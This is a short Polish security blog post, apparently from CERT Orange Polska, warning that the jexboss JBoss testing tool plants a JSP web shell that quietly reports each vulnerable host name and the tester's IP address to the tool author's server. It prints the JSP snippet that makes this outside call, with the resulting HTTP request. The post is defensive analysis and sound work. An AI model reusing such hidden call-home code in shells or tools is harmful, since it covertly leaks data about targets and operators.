hamburger

(jeśli zgłaszasz przypadek phishingu, zapisz mail (przesuń go z programu pocztowego na pulpit komputera lub wybierz opcję plik/zapisz jako), a następnie załącz)

Podejrzany SMS prześlij na nr 508 700 900

Jeśli zgłoszenie dotyczy bezpieczeństwa dzieci, zgłoś je również pod http://www.dyzurnet.pl
@CERT_OPL

Przetestuj się sam… ale uważaj!

W codziennej pracy w CERT Orange Polska wykorzystujemy wiele mniej lub bardziej popularnych narzędzi, których zdarza się nam używać do testowania m.in. podatności aplikacji, czy serwerów. Przypadek jednego z takich programów udowadnia, że – to w sumie nic nowego – nikomu nie należy przesadnie ufać, a przede wszystkim warto przyjrzeć się nowym rozwiązaniom zawczasu.

Teoretycznie narzędzie jexboss ma służyć do testowania serwera aplikacji JBoss pod kątem wykrycia (a następnie rzecz oczywista załatania) potencjalnych podatności. Wszystko wygląda bez zarzutów, do momentu, gdy przyjrzyjmy się dokładniej aktywności umieszczanego na testowanym hoście pliku jsp (jboasass.jsp/jexws4.jsp/jexws*.jsp).

 try {
  if (request.getHeader(„no-check-updates”) == null) {
   HttpURLConnection c = (HttpURLConnection) new URL(„http://webshell.jexboss.net/jsp_version.txt”).openConnection();
   c.setRequestProperty(„User-Agent”, request.getHeader(„Host”) + „<-” + request.getRemoteAddr());

   if (!new File(„check_” + lhc).exists()) {
    PrintWriter w = new PrintWriter(„check_” + lhc);
    w.close();
    br = new BufferedReader(new InputStreamReader(c.getInputStream()));
    String lv = br.readLine().split(” „)[1];
    if (!lv.equals(„4”)) {
     out.print(„New version. Please update!”);
    }
   } else if (sh.indexOf(„id”) != -1 || sh.indexOf(„ipconfig”) != -1) {
    c.
   }
  }
} catch (Exception e) {
  out.println(„Failed to check for updates”);
}

Jak widać w zaznaczonym na czerwono fragmencie, oprogramowanie wykonuje połączenie do serwera twórcy oprogramowania (http://webshell.jexboss.net), gdzie przesyłane są m.in. nazwa podatnego hosta, oraz IP urządzenia, z którego następuje exploitacja. W rezultacie skrypt wykonuje odpytanie do hosta twórcy (wykonując jednocześnie komendy exploitującego):

GET /jsp_version.txt HTTP/1.1
User-Agent: example.com<-192.168.1.1
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
connection: keep-alive

Pamiętajcie – choć internet jest pełen użytecznych narzędzi, gdy używamy ich do poważniejszych zadań, warto im się wcześniej przyjrzeć w kontrolowanym środowisku.

Grafika: Bluecoat


Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *

Zobacz także

Komunikat dotyczący plików cookies

Ta witryna używa plików cookies (małych plików tekstowych, przechowywanych na Twoim urządzeniu). Są one stosowane dla zapewnienia prawidłowego działania strony oraz do zbierania informacji o Twoich preferencjach i nawykach użytkowania witryny.

Pliki cookies niezbędne do działania strony używamy do zapewnienia podstawowych funkcji, takich jak logowanie oraz zapewnienie bezpieczeństwa witrynie. Ich wykorzystanie nie wymaga Twojej zgody.

Pliki cookies funkcyjne. Pozwalają nam zbierać informacje na temat zalogowanych sesji oraz przechowywać dane wpisane przez Ciebie w formularzach znajdujących się na stronie takich jak: czas trwania zalogowanej sesji , nazwę użytkownika.

Pozostałe kategorie wykorzystywania plików cookies, które wymagają Twojej zgody na używanie

Pliki cookies statystyczne/analityczne. Pozwalają nam zbierać anonimowe informacje o ruchu na stronie (liczba odwiedzin, źródło ruchu i czas spędzony na witrynie). Te dane pomagają nam zrozumieć, jak nasi użytkownicy korzystają z witryny i poprawiają jej działanie.

Możesz zmienić swoje preferencje dotyczące plików cookies w każdej chwili. W celu zarządzania plikami cookies lub wycofania zgody na ich używanie, prosimy skorzystać z ustawień przeglądarki internetowej.